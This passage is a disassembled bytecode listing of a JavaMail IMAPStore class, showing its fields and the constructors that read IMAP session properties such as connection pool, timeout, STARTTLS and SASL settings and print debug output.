.field private isSSL:Z
.field private minIdleTime:I
.field private name:String
.field private namespaces:Namespaces
.field private out:PrintStream
.field private password:String
.field private pool:IMAPStore$ConnectionPool
.field private port:I
.field private proxyAuthUser:String
.field private saslMechanisms:[String
.field private saslRealm:String
.field private statusCacheTimeout:I
.field private user:String
.method static constructor <clinit>()V
.registers 1
00000000 const-class v0, IMAPStore
00000004 invoke-virtual Class->desiredAssertionStatus()Z, v0
0000000A move-result v0
0000000C if-nez v0, :18
:10
00000010 const/4 v0, 0x1
:12
00000012 sput-boolean v0, IMAPStore->$assertionsDisabled:Z
00000016 return-void
:18
00000018 const/4 v0, 0x0
0000001A goto :12
.end method
.method public constructor <init>(Session, URLName)V
.registers 9
00000000 const-string v3, "imap"
00000004 const/16 v4, 0x8F
00000008 const/4 v5, 0x0
0000000A move-object v0, p0
0000000C move-object v1, p1
0000000E move-object v2, p2
00000010 invoke-direct/range IMAPStore-><init>(Session, URLName, String, I, Z)V, v0 .. v5
00000016 return-void
.end method
.method protected constructor <init>(Session, URLName, String, I, Z)V
.registers 11
00000000 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000002 const/4 v4, 0x1
00000004 const/4 v1, 0x0
00000006 invoke-direct Store-><init>(Session, URLName)V, p0, p1, p2
0000000C const-string v0, "imap"
00000010 iput-object v0, p0, IMAPStore->name:String
00000014 const/16 v0, 0x8F
00000018 iput v0, p0, IMAPStore->defaultPort:I
0000001C iput-boolean v1, p0, IMAPStore->isSSL:Z
00000020 iput v3, p0, IMAPStore->port:I
00000024 const/16 v0, 0x4000
00000028 iput v0, p0, IMAPStore->blksize:I
0000002C const/16 v0, 0x3E8
00000030 iput v0, p0, IMAPStore->statusCacheTimeout:I
00000034 iput v3, p0, IMAPStore->appendBufferSize:I
00000038 const/16 v0, 0xA
0000003C iput v0, p0, IMAPStore->minIdleTime:I
00000040 iput-boolean v1, p0, IMAPStore->disableAuthLogin:Z
00000044 iput-boolean v1, p0, IMAPStore->disableAuthPlain:Z
00000048 iput-boolean v1, p0, IMAPStore->enableStartTLS:Z
0000004C iput-boolean v1, p0, IMAPStore->enableSASL:Z
00000050 iput-boolean v1, p0, IMAPStore->forcePasswordRefresh:Z
00000054 iput-boolean v1, p0, IMAPStore->enableImapEvents:Z
00000058 iput-boolean v1, p0, IMAPStore->connected:Z
0000005C new-instance v0, IMAPStore$ConnectionPool
00000060 invoke-direct IMAPStore$ConnectionPool-><init>()V, v0
00000066 iput-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000006A if-eqz p2, :76
:6E
0000006E invoke-virtual URLName->getProtocol()String, p2
00000074 move-result-object p3
:76
00000076 iput-object p3, p0, IMAPStore->name:String
0000007A iput p4, p0, IMAPStore->defaultPort:I
0000007E iput-boolean p5, p0, IMAPStore->isSSL:Z
00000082 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000086 invoke-static System->currentTimeMillis()J
0000008C move-result-wide v1
0000008E invoke-static IMAPStore$ConnectionPool->access$0(IMAPStore$ConnectionPool, J)V, v0, v1, v2
00000094 invoke-virtual Session->getDebug()Z, p1
0000009A move-result v0
0000009C iput-boolean v0, p0, IMAPStore->debug:Z
000000A0 invoke-virtual Session->getDebugOut()PrintStream, p1
000000A6 move-result-object v0
000000A8 iput-object v0, p0, IMAPStore->out:PrintStream
000000AC iget-object v0, p0, IMAPStore->out:PrintStream
000000B0 if-nez v0, :BC
:B4
000000B4 sget-object v0, System->out:PrintStream
000000B8 iput-object v0, p0, IMAPStore->out:PrintStream
:BC
000000BC new-instance v0, StringBuilder
000000C0 const-string v1, "mail."
000000C4 invoke-direct StringBuilder-><init>(String)V, v0, v1
000000CA invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000000D0 move-result-object v0
000000D2 const-string v1, ".connectionpool.debug"
000000D6 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000DC move-result-object v0
000000DE invoke-virtual StringBuilder->toString()String, v0
000000E4 move-result-object v0
000000E6 invoke-virtual Session->getProperty(String)String, p1, v0
000000EC move-result-object v0
000000EE if-eqz v0, :10C
:F2
000000F2 const-string v1, "true"
000000F6 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000FC move-result v0
000000FE if-eqz v0, :10C
:102
00000102 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000106 invoke-static IMAPStore$ConnectionPool->access$1(IMAPStore$ConnectionPool, Z)V, v0, v4
:10C
0000010C new-instance v0, StringBuilder
00000110 const-string v1, "mail."
00000114 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000011A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000120 move-result-object v0
00000122 const-string v1, ".partialfetch"
00000126 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000012C move-result-object v0
0000012E invoke-virtual StringBuilder->toString()String, v0
00000134 move-result-object v0
00000136 invoke-virtual Session->getProperty(String)String, p1, v0
0000013C move-result-object v0
0000013E if-eqz v0, :936
:142
00000142 const-string v1, "false"
00000146 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000014C move-result v0
0000014E if-eqz v0, :936
:152
00000152 iput v3, p0, IMAPStore->blksize:I
00000156 iget-boolean v0, p0, IMAPStore->debug:Z
0000015A if-eqz v0, :16C
:15E
0000015E iget-object v0, p0, IMAPStore->out:PrintStream
00000162 const-string v1, "DEBUG: mail.imap.partialfetch: false"
00000166 invoke-virtual PrintStream->println(String)V, v0, v1
:16C
0000016C new-instance v0, StringBuilder
00000170 const-string v1, "mail."
00000174 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000017A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000180 move-result-object v0
00000182 const-string v1, ".statuscachetimeout"
00000186 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000018C move-result-object v0
0000018E invoke-virtual StringBuilder->toString()String, v0
00000194 move-result-object v0
00000196 invoke-virtual Session->getProperty(String)String, p1, v0
0000019C move-result-object v0
0000019E if-eqz v0, :1E2
:1A2
000001A2 invoke-static Integer->parseInt(String)I, v0
000001A8 move-result v0
000001AA iput v0, p0, IMAPStore->statusCacheTimeout:I
000001AE iget-boolean v0, p0, IMAPStore->debug:Z
000001B2 if-eqz v0, :1E2
:1B6
000001B6 iget-object v0, p0, IMAPStore->out:PrintStream
000001BA new-instance v1, StringBuilder
000001BE const-string v2, "DEBUG: mail.imap.statuscachetimeout: "
000001C2 invoke-direct StringBuilder-><init>(String)V, v1, v2
000001C8 iget v2, p0, IMAPStore->statusCacheTimeout:I
000001CC invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
000001D2 move-result-object v1
000001D4 invoke-virtual StringBuilder->toString()String, v1
000001DA move-result-object v1
000001DC invoke-virtual PrintStream->println(String)V, v0, v1
:1E2
000001E2 new-instance v0, StringBuilder
000001E6 const-string v1, "mail."
000001EA invoke-direct StringBuilder-><init>(String)V, v0, v1
000001F0 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000001F6 move-result-object v0
000001F8 const-string v1, ".appendbuffersize"
000001FC invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000202 move-result-object v0
00000204 invoke-virtual StringBuilder->toString()String, v0
0000020A move-result-object v0
0000020C invoke-virtual Session->getProperty(String)String, p1, v0
00000212 move-result-object v0
00000214 if-eqz v0, :258
:218
00000218 invoke-static Integer->parseInt(String)I, v0
0000021E move-result v0
00000220 iput v0, p0, IMAPStore->appendBufferSize:I
00000224 iget-boolean v0, p0, IMAPStore->debug:Z
00000228 if-eqz v0, :258
:22C
0000022C iget-object v0, p0, IMAPStore->out:PrintStream
00000230 new-instance v1, StringBuilder
00000234 const-string v2, "DEBUG: mail.imap.appendbuffersize: "
00000238 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000023E iget v2, p0, IMAPStore->appendBufferSize:I
00000242 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000248 move-result-object v1
0000024A invoke-virtual StringBuilder->toString()String, v1
00000250 move-result-object v1
00000252 invoke-virtual PrintStream->println(String)V, v0, v1
:258
00000258 new-instance v0, StringBuilder
0000025C const-string v1, "mail."
00000260 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000266 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
0000026C move-result-object v0
0000026E const-string v1, ".minidletime"
00000272 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000278 move-result-object v0
0000027A invoke-virtual StringBuilder->toString()String, v0
00000280 move-result-object v0
00000282 invoke-virtual Session->getProperty(String)String, p1, v0
00000288 move-result-object v0
0000028A if-eqz v0, :2CE
:28E
0000028E invoke-static Integer->parseInt(String)I, v0
00000294 move-result v0
00000296 iput v0, p0, IMAPStore->minIdleTime:I
0000029A iget-boolean v0, p0, IMAPStore->debug:Z
0000029E if-eqz v0, :2CE
:2A2
000002A2 iget-object v0, p0, IMAPStore->out:PrintStream
000002A6 new-instance v1, StringBuilder
000002AA const-string v2, "DEBUG: mail.imap.minidletime: "
000002AE invoke-direct StringBuilder-><init>(String)V, v1, v2
000002B4 iget v2, p0, IMAPStore->minIdleTime:I
000002B8 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
000002BE move-result-object v1
000002C0 invoke-virtual StringBuilder->toString()String, v1
000002C6 move-result-object v1
000002C8 invoke-virtual PrintStream->println(String)V, v0, v1
:2CE
000002CE new-instance v0, StringBuilder
000002D2 const-string v1, "mail."
000002D6 invoke-direct StringBuilder-><init>(String)V, v0, v1
000002DC invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000002E2 move-result-object v0
000002E4 const-string v1, ".connectionpoolsize"
000002E8 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000002EE move-result-object v0
000002F0 invoke-virtual StringBuilder->toString()String, v0
000002F6 move-result-object v0
000002F8 invoke-virtual Session->getProperty(String)String, p1, v0
000002FE move-result-object v0
00000300 if-eqz v0, :35E
:304
00000304 invoke-static Integer->parseInt(String)I, v0
0000030A move-result v0
0000030C if-lez v0, :31A
:310
00000310 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000314 invoke-static IMAPStore$ConnectionPool->access$2(IMAPStore$ConnectionPool, I)V, v1, v0
:31A
0000031A iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
0000031E invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000324 move-result v0
00000326 if-eqz v0, :35E
:32A
0000032A iget-object v0, p0, IMAPStore->out:PrintStream
0000032E new-instance v1, StringBuilder
00000332 const-string v2, "DEBUG: mail.imap.connectionpoolsize: "
00000336 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000033C iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000340 invoke-static IMAPStore$ConnectionPool->access$4(IMAPStore$ConnectionPool)I, v2
00000346 move-result v2
00000348 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000034E move-result-object v1
00000350 invoke-virtual StringBuilder->toString()String, v1
00000356 move-result-object v1
00000358 invoke-virtual PrintStream->println(String)V, v0, v1
:35E
0000035E new-instance v0, StringBuilder
00000362 const-string v1, "mail."
00000366 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000036C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000372 move-result-object v0
00000374 const-string v1, ".connectionpooltimeout"
00000378 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000037E move-result-object v0
00000380 invoke-virtual StringBuilder->toString()String, v0
00000386 move-result-object v0
00000388 invoke-virtual Session->getProperty(String)String, p1, v0
0000038E move-result-object v0
00000390 if-eqz v0, :3F0
:394
00000394 invoke-static Integer->parseInt(String)I, v0
0000039A move-result v0
0000039C if-lez v0, :3AC
:3A0
000003A0 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000003A4 int-to-long v2, v0
000003A6 invoke-static IMAPStore$ConnectionPool->access$5(IMAPStore$ConnectionPool, J)V, v1, v2, v3
:3AC
000003AC iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000003B0 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
000003B6 move-result v0
000003B8 if-eqz v0, :3F0
:3BC
000003BC iget-object v0, p0, IMAPStore->out:PrintStream
000003C0 new-instance v1, StringBuilder
000003C4 const-string v2, "DEBUG: mail.imap.connectionpooltimeout: "
000003C8 invoke-direct StringBuilder-><init>(String)V, v1, v2
000003CE iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000003D2 invoke-static IMAPStore$ConnectionPool->access$6(IMAPStore$ConnectionPool)J, v2
000003D8 move-result-wide v2
000003DA invoke-virtual StringBuilder->append(J)StringBuilder, v1, v2, v3
000003E0 move-result-object v1
000003E2 invoke-virtual StringBuilder->toString()String, v1
000003E8 move-result-object v1
000003EA invoke-virtual PrintStream->println(String)V, v0, v1
:3F0
000003F0 new-instance v0, StringBuilder
000003F4 const-string v1, "mail."
000003F8 invoke-direct StringBuilder-><init>(String)V, v0, v1
000003FE invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000404 move-result-object v0
00000406 const-string v1, ".servertimeout"
0000040A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000410 move-result-object v0
00000412 invoke-virtual StringBuilder->toString()String, v0
00000418 move-result-object v0
0000041A invoke-virtual Session->getProperty(String)String, p1, v0
00000420 move-result-object v0
00000422 if-eqz v0, :482
:426
00000426 invoke-static Integer->parseInt(String)I, v0
0000042C move-result v0
0000042E if-lez v0, :43E
:432
00000432 iget-object v1, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000436 int-to-long v2, v0
00000438 invoke-static IMAPStore$ConnectionPool->access$7(IMAPStore$ConnectionPool, J)V, v1, v2, v3
:43E
0000043E iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000442 invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
00000448 move-result v0
0000044A if-eqz v0, :482
:44E
0000044E iget-object v0, p0, IMAPStore->out:PrintStream
00000452 new-instance v1, StringBuilder
00000456 const-string v2, "DEBUG: mail.imap.servertimeout: "
0000045A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000460 iget-object v2, p0, IMAPStore->pool:IMAPStore$ConnectionPool
00000464 invoke-static IMAPStore$ConnectionPool->access$8(IMAPStore$ConnectionPool)J, v2
0000046A move-result-wide v2
0000046C invoke-virtual StringBuilder->append(J)StringBuilder, v1, v2, v3
00000472 move-result-object v1
00000474 invoke-virtual StringBuilder->toString()String, v1
0000047A move-result-object v1
0000047C invoke-virtual PrintStream->println(String)V, v0, v1
:482
00000482 new-instance v0, StringBuilder
00000486 const-string v1, "mail."
0000048A invoke-direct StringBuilder-><init>(String)V, v0, v1
00000490 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000496 move-result-object v0
00000498 const-string v1, ".separatestoreconnection"
0000049C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000004A2 move-result-object v0
000004A4 invoke-virtual StringBuilder->toString()String, v0
000004AA move-result-object v0
000004AC invoke-virtual Session->getProperty(String)String, p1, v0
000004B2 move-result-object v0
000004B4 if-eqz v0, :4F0
:4B8
000004B8 const-string v1, "true"
000004BC invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000004C2 move-result v0
000004C4 if-eqz v0, :4F0
:4C8
000004C8 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000004CC invoke-static IMAPStore$ConnectionPool->access$3(IMAPStore$ConnectionPool)Z, v0
000004D2 move-result v0
000004D4 if-eqz v0, :4E6
:4D8
000004D8 iget-object v0, p0, IMAPStore->out:PrintStream
000004DC const-string v1, "DEBUG: dedicate a store connection"
000004E0 invoke-virtual PrintStream->println(String)V, v0, v1
:4E6
000004E6 iget-object v0, p0, IMAPStore->pool:IMAPStore$ConnectionPool
000004EA invoke-static IMAPStore$ConnectionPool->access$9(IMAPStore$ConnectionPool, Z)V, v0, v4
:4F0
000004F0 new-instance v0, StringBuilder
000004F4 const-string v1, "mail."
000004F8 invoke-direct StringBuilder-><init>(String)V, v0, v1
000004FE invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000504 move-result-object v0
00000506 const-string v1, ".proxyauth.user"
0000050A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000510 move-result-object v0
00000512 invoke-virtual StringBuilder->toString()String, v0
00000518 move-result-object v0
0000051A invoke-virtual Session->getProperty(String)String, p1, v0
00000520 move-result-object v0
00000522 if-eqz v0, :55E
:526
00000526 iput-object v0, p0, IMAPStore->proxyAuthUser:String
0000052A iget-boolean v0, p0, IMAPStore->debug:Z
0000052E if-eqz v0, :55E
:532
00000532 iget-object v0, p0, IMAPStore->out:PrintStream
00000536 new-instance v1, StringBuilder
0000053A const-string v2, "DEBUG: mail.imap.proxyauth.user: "
0000053E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000544 iget-object v2, p0, IMAPStore->proxyAuthUser:String
00000548 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000054E move-result-object v1
00000550 invoke-virtual StringBuilder->toString()String, v1
00000556 move-result-object v1
00000558 invoke-virtual PrintStream->println(String)V, v0, v1
:55E
0000055E new-instance v0, StringBuilder
00000562 const-string v1, "mail."
00000566 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000056C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000572 move-result-object v0
00000574 const-string v1, ".auth.login.disable"
00000578 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000057E move-result-object v0
00000580 invoke-virtual StringBuilder->toString()String, v0
00000586 move-result-object v0
00000588 invoke-virtual Session->getProperty(String)String, p1, v0
0000058E move-result-object v0
00000590 if-eqz v0, :5BE
:594
00000594 const-string v1, "true"
00000598 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000059E move-result v0
000005A0 if-eqz v0, :5BE
:5A4
000005A4 iget-boolean v0, p0, IMAPStore->debug:Z
000005A8 if-eqz v0, :5BA
:5AC
000005AC iget-object v0, p0, IMAPStore->out:PrintStream
000005B0 const-string v1, "DEBUG: disable AUTH=LOGIN"
000005B4 invoke-virtual PrintStream->println(String)V, v0, v1
:5BA
000005BA iput-boolean v4, p0, IMAPStore->disableAuthLogin:Z
:5BE
000005BE new-instance v0, StringBuilder
000005C2 const-string v1, "mail."
000005C6 invoke-direct StringBuilder-><init>(String)V, v0, v1
000005CC invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000005D2 move-result-object v0
000005D4 const-string v1, ".auth.plain.disable"
000005D8 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000005DE move-result-object v0
000005E0 invoke-virtual StringBuilder->toString()String, v0
000005E6 move-result-object v0
000005E8 invoke-virtual Session->getProperty(String)String, p1, v0
000005EE move-result-object v0
000005F0 if-eqz v0, :61E
:5F4
000005F4 const-string v1, "true"
000005F8 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000005FE move-result v0
00000600 if-eqz v0, :61E
:604
00000604 iget-boolean v0, p0, IMAPStore->debug:Z
00000608 if-eqz v0, :61A
:60C
0000060C iget-object v0, p0, IMAPStore->out:PrintStream
00000610 const-string v1, "DEBUG: disable AUTH=PLAIN"
00000614 invoke-virtual PrintStream->println(String)V, v0, v1
:61A
0000061A iput-boolean v4, p0, IMAPStore->disableAuthPlain:Z
:61E
0000061E new-instance v0, StringBuilder
00000622 const-string v1, "mail."
00000626 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000062C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000632 move-result-object v0
00000634 const-string v1, ".starttls.enable"
00000638 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000063E move-result-object v0
00000640 invoke-virtual StringBuilder->toString()String, v0
00000646 move-result-object v0
00000648 invoke-virtual Session->getProperty(String)String, p1, v0
0000064E move-result-object v0
00000650 if-eqz v0, :67E
:654
00000654 const-string v1, "true"
00000658 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000065E move-result v0
00000660 if-eqz v0, :67E
:664
00000664 iget-boolean v0, p0, IMAPStore->debug:Z
00000668 if-eqz v0, :67A
:66C
0000066C iget-object v0, p0, IMAPStore->out:PrintStream
00000670 const-string v1, "DEBUG: enable STARTTLS"
00000674 invoke-virtual PrintStream->println(String)V, v0, v1
:67A
0000067A iput-boolean v4, p0, IMAPStore->enableStartTLS:Z
:67E
0000067E new-instance v0, StringBuilder
00000682 const-string v1, "mail."
00000686 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000068C invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000692 move-result-object v0
00000694 const-string v1, ".sasl.enable"
00000698 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000069E move-result-object v0
000006A0 invoke-virtual StringBuilder->toString()String, v0
000006A6 move-result-object v0
000006A8 invoke-virtual Session->getProperty(String)String, p1, v0
000006AE move-result-object v0
000006B0 if-eqz v0, :6DE
:6B4
000006B4 const-string v1, "true"
000006B8 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000006BE move-result v0
000006C0 if-eqz v0, :6DE
:6C4
000006C4 iget-boolean v0, p0, IMAPStore->debug:Z
000006C8 if-eqz v0, :6DA
:6CC
000006CC iget-object v0, p0, IMAPStore->out:PrintStream
000006D0 const-string v1, "DEBUG: enable SASL"
000006D4 invoke-virtual PrintStream->println(String)V, v0, v1
:6DA
000006DA iput-boolean v4, p0, IMAPStore->enableSASL:Z
:6DE
000006DE iget-boolean v0, p0, IMAPStore->enableSASL:Z
000006E2 if-eqz v0, :798
:6E6
000006E6 new-instance v0, StringBuilder
000006EA const-string v1, "mail."
000006EE invoke-direct StringBuilder-><init>(String)V, v0, v1
000006F4 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000006FA move-result-object v0
000006FC const-string v1, ".sasl.mechanisms"
00000700 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000706 move-result-object v0
00000708 invoke-virtual StringBuilder->toString()String, v0
0000070E move-result-object v0
00000710 invoke-virtual Session->getProperty(String)String, p1, v0
00000716 move-result-object v0
00000718 if-eqz v0, :798
:71C
0000071C invoke-virtual String->length()I, v0
00000722 move-result v1
00000724 if-lez v1, :798
:728
00000728 iget-boolean v1, p0, IMAPStore->debug:Z
0000072C if-eqz v1, :758
:730
00000730 iget-object v1, p0, IMAPStore->out:PrintStream
00000734 new-instance v2, StringBuilder
00000738 const-string v3, "DEBUG: SASL mechanisms allowed: "
0000073C invoke-direct StringBuilder-><init>(String)V, v2, v3
00000742 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
00000748 move-result-object v2
0000074A invoke-virtual StringBuilder->toString()String, v2
00000750 move-result-object v2
00000752 invoke-virtual PrintStream->println(String)V, v1, v2
:758
00000758 new-instance v1, Vector
0000075C const/4 v2, 0x5
0000075E invoke-direct Vector-><init>(I)V, v1, v2
00000764 new-instance v2, StringTokenizer
00000768 const-string v3, " ,"
0000076C invoke-direct StringTokenizer-><init>(String, String)V, v2, v0, v3
:772
00000772 invoke-virtual StringTokenizer->hasMoreTokens()Z, v2
00000778 move-result v0
0000077A if-nez v0, :9B0
:77E
0000077E invoke-virtual Vector->size()I, v1
00000784 move-result v0
00000786 new-array v0, v0, [String
0000078A iput-object v0, p0, IMAPStore->saslMechanisms:[String
0000078E iget-object v0, p0, IMAPStore->saslMechanisms:[String
00000792 invoke-virtual Vector->copyInto([Object)V, v1, v0
:798
00000798 new-instance v0, StringBuilder
0000079C const-string v1, "mail."
000007A0 invoke-direct StringBuilder-><init>(String)V, v0, v1
000007A6 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000007AC move-result-object v0
000007AE const-string v1, ".sasl.authorizationid"
000007B2 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000007B8 move-result-object v0
000007BA invoke-virtual StringBuilder->toString()String, v0
000007C0 move-result-object v0
000007C2 invoke-virtual Session->getProperty(String)String, p1, v0
000007C8 move-result-object v0
000007CA if-eqz v0, :806
:7CE
000007CE iput-object v0, p0, IMAPStore->authorizationID:String
000007D2 iget-boolean v0, p0, IMAPStore->debug:Z
000007D6 if-eqz v0, :806
:7DA
000007DA iget-object v0, p0, IMAPStore->out:PrintStream
000007DE new-instance v1, StringBuilder
000007E2 const-string v2, "DEBUG: mail.imap.sasl.authorizationid: "
000007E6 invoke-direct StringBuilder-><init>(String)V, v1, v2
000007EC iget-object v2, p0, IMAPStore->authorizationID:String
000007F0 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000007F6 move-result-object v1
000007F8 invoke-virtual StringBuilder->toString()String, v1
000007FE move-result-object v1
00000800 invoke-virtual PrintStream->println(String)V, v0, v1
:806
00000806 new-instance v0, StringBuilder
0000080A const-string v1, "mail."
0000080E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000814 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
0000081A move-result-object v0
0000081C const-string v1, ".sasl.realm"
00000820 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000826 move-result-object v0
00000828 invoke-virtual StringBuilder->toString()String, v0
0000082E move-result-object v0
00000830 invoke-virtual Session->getProperty(String)String, p1, v0
00000836 move-result-object v0
00000838 if-eqz v0, :874
:83C
0000083C iput-object v0, p0, IMAPStore->saslRealm:String
00000840 iget-boolean v0, p0, IMAPStore->debug:Z
00000844 if-eqz v0, :874
:848
00000848 iget-object v0, p0, IMAPStore->out:PrintStream
0000084C new-instance v1, StringBuilder
00000850 const-string v2, "DEBUG: mail.imap.sasl.realm: "
00000854 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000085A iget-object v2, p0, IMAPStore->saslRealm:String
0000085E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000864 move-result-object v1
00000866 invoke-virtual StringBuilder->toString()String, v1
0000086C move-result-object v1
0000086E invoke-virtual PrintStream->println(String)V, v0, v1
:874
00000874 new-instance v0, StringBuilder
00000878 const-string v1, "mail."
0000087C invoke-direct StringBuilder-><init>(String)V, v0, v1
00000882 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
00000888 move-result-object v0
0000088A const-string v1, ".forcepasswordrefresh"
0000088E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000894 move-result-object v0
00000896 invoke-virtual StringBuilder->toString()String, v0
0000089C move-result-object v0
0000089E invoke-virtual Session->getProperty(String)String, p1, v0
000008A4 move-result-object v0
000008A6 if-eqz v0, :8D4
:8AA
000008AA const-string v1, "true"
000008AE invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000008B4 move-result v0
000008B6 if-eqz v0, :8D4
:8BA
000008BA iget-boolean v0, p0, IMAPStore->debug:Z
000008BE if-eqz v0, :8D0
:8C2
000008C2 iget-object v0, p0, IMAPStore->out:PrintStream
000008C6 const-string v1, "DEBUG: enable forcePasswordRefresh"
000008CA invoke-virtual PrintStream->println(String)V, v0, v1
:8D0
000008D0 iput-boolean v4, p0, IMAPStore->forcePasswordRefresh:Z
:8D4
000008D4 new-instance v0, StringBuilder
000008D8 const-string v1, "mail."
000008DC invoke-direct StringBuilder-><init>(String)V, v0, v1
000008E2 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
000008E8 move-result-object v0
000008EA const-string v1, ".enableimapevents"
000008EE invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000008F4 move-result-object v0
000008F6 invoke-virtual StringBuilder->toString()String, v0
000008FC move-result-object v0
000008FE invoke-virtual Session->getProperty(String)String, p1, v0
00000904 move-result-object v0
00000906 if-eqz v0, :934
:90A
0000090A const-string v1, "true"
0000090E invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000914 move-result v0
00000916 if-eqz v0, :934
:91A
0000091A iget-boolean v0, p0, IMAPStore->debug:Z
0000091E if-eqz v0, :930
:922
00000922 iget-object v0, p0, IMAPStore->out:PrintStream
00000926 const-string v1, "DEBUG: enable IMAP events"
0000092A invoke-virtual PrintStream->println(String)V, v0, v1
:930
00000930 iput-boolean v4, p0, IMAPStore->enableImapEvents:Z
:934
00000934 return-void
:936
00000936 new-instance v0, StringBuilder
0000093A const-string v1, "mail."
0000093E invoke-direct StringBuilder-><init>(String)V, v0, v1
00000944 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p3
0000094A move-result-object v0
0000094C const-string v1, ".fetchsize"
00000950 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000956 move-result-object v0
00000958 invoke-virtual StringBuilder->toString()String, v0
0000095E move-result-object v0
00000960 invoke-virtual Session->getProperty(String)String, p1, v0
00000966 move-result-object v0
00000968 if-eqz v0, :978
:96C
0000096C invoke-static Integer->parseInt(String)I, v0
00000972 move-result v0
00000974 iput v0, p0, IMAPStore->blksize:I
:978
00000978 iget-boolean v0, p0, IMAPStore->debug:Z
0000097C if-eqz v0, :16C
:980
00000980 iget-object v0, p0, IMAPStore->out:PrintStream
00000984 new-instance v1, StringBuilder
00000988 const-string v2, "DEBUG: mail.imap.fetchsize: "
0000098C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000992 iget v2, p0, IMAPStore->blksize:I
00000996 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000099C move-result-object v1
0000099E invoke-virtual StringBuilder->toString()String, v1
000009A4 move-result-object v1
000009A6 invoke-virtual PrintStream->println(String)V, v0, v1
000009AC goto/16 :16C
:9B0
000009B0 invoke-virtual StringTokenizer->nextToken()String, v2
000009B6 move-result-object v0
000009B8 invoke-virtual String->length()I, v0
000009BE move-result v3
000009C0 if-lez v3, :772
:9C4
